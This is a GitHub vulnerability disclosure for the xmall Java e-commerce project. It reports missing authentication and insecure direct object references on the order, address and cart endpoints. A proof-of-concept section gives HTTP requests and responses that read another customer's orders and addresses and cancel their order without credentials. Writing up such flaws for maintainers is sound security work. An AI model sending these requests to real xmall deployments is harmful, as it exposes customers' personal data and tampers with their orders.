Skip to content

Missing Authentication and Horizontal IDOR on All Front-Mall Member Endpoints #103

Description

@geo-chen

Ecosystem: maven

Package: com.exrick.xmall / Exrick/xmall

Affected Versions: All versions (confirmed on commit 19e7917)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CWE: CWE-306 -- Missing Authentication for Critical Function; CWE-639 -- Authorization Bypass Through User-Controlled Key


Summary

The xmall front-mall REST API (xmall-front-web) exposes all customer-facing member endpoints -- including order listing, order detail, order cancellation, order deletion, and address management -- without any authentication or ownership check. Any unauthenticated party can enumerate and cancel any customer's orders, read their shipping addresses, and manipulate their cart by supplying an arbitrary userId or orderId in the request. An authenticated customer can cross-access another customer's resources in the same way.

Details

The xmall-front-web module defines a single Spring MVC interceptor, LimitRaterInterceptor, which performs only IP-based rate limiting. It always returns true and performs no session or token validation. There is no Spring Security filter chain and no Shiro filter applied to this module. The web.xml contains only a CharacterEncodingFilter.

Affected controllers:

  • xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java

    • GET /member/orderList?userId={id} (line 28): userId is taken directly from the query parameter with no binding to any session token
    • GET /member/orderDetail?orderId={id} (line 37): no user ownership check; any orderId is returned
    • POST /member/cancelOrder (line 52): cancels any order by ID with no ownership check
    • GET /member/delOrder?orderId={id} (line 60): deletes any order with no ownership check
    • POST /member/payOrder (line 68): marks any order as paid with no ownership check
  • xmall-front-web/src/main/java/cn/exrick/front/controller/AddressController.java

    • POST /member/addressList {"userId": N} (line 27): returns all addresses for any userId
    • POST /member/address {"addressId": N} (line 35): returns any address by ID
    • POST /member/updateAddress (line 51): updates any address record
    • POST /member/delAddress (line 59): deletes any address record
  • xmall-front-web/src/main/java/cn/exrick/front/controller/CartController.java

    • All cart endpoints (cartList, addCart, cartEdit, cartDel, delCartChecked): accept userId from the request body with no binding check

The LoginService stores the member record in Redis under "SESSION:{token}" at login time. The token is included in login responses. However, no endpoint in OrderController, AddressController, or CartController reads this token from the request headers or validates that the caller owns the userId or resource ID supplied.

Contrast with the correctly-implemented pattern: the /member/imgaeUpload endpoint in MemberController does receive a token field, though it still does not verify that the token's userId matches the supplied userId.

PoC

Prerequisites: a running xmall-front-web instance (port 8080 by default).

Step 1. Fetch victim Alice's order list without any credential.

Request:
GET /member/orderList?userId=66&page=1&size=5 HTTP/1.1
Host:

Response (HTTP 200):
{"success":true,"message":"success","code":200,"timestamp":...,"result":{"total":1,"data":[{"orderId":200000000001,"orderTotal":199.99,"addressInfo":{"userName":"Alice Smith","tel":"555-1234","streetName":"123 Alice Private Street, Wonderland",...},"orderStatus":"0","createDate":"2026-06-03 02:27"}]}}

Step 2. Read Alice's order detail without any credential.

Request:
GET /member/orderDetail?orderId=200000000001 HTTP/1.1
Host:

Response (HTTP 200):
{"success":true,"message":"success","code":200,"timestamp":...,"result":{"orderId":200000000001,"orderTotal":199.99,"addressInfo":{"userName":"Alice Smith","tel":"555-1234","streetName":"123 Alice Private Street, Wonderland",...},"orderStatus":"0",...}}

Step 3. Read Alice's delivery addresses without any credential.

Request:
POST /member/addressList HTTP/1.1
Host:
Content-Type: application/json

{"userId": 66}

Response (HTTP 200):
{"success":true,"message":"success","code":200,"timestamp":...,"result":[{"addressId":7,"userId":66,"userName":"alice","tel":"555-1234","streetName":"123 Alice Private Street, Wonderland","isDefault":true}]}

Step 4. Cancel Alice's order without any credential (state mutation).

Request:
POST /member/cancelOrder HTTP/1.1
Host:
Content-Type: application/json

{"orderId": 200000000001}

Response (HTTP 200):
{"success":true,"message":"success","code":200,"timestamp":...,"result":1}

MySQL confirms:
SELECT order_id, user_id, status FROM tb_order WHERE order_id='200000000001';
200000000001 66 5

Status 5 is "closed / cancelled". All of the above were sent with no session cookie, no token header, and no other credential.

Impact

An unauthenticated attacker with network access to xmall-front-web can:

  • Read order details, shipping addresses, and cart contents for any customer by iterating numeric user IDs and order IDs
  • Cancel or delete any customer's orders
  • Modify any customer's cart or addresses

An authenticated customer can read, cancel, and delete other customers' orders and addresses by simply changing the userId or orderId in the request. The entire member data plane has no access control boundary. Sensitive fields exposed per order include: full name, phone number, street address, total amount, and purchase history.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions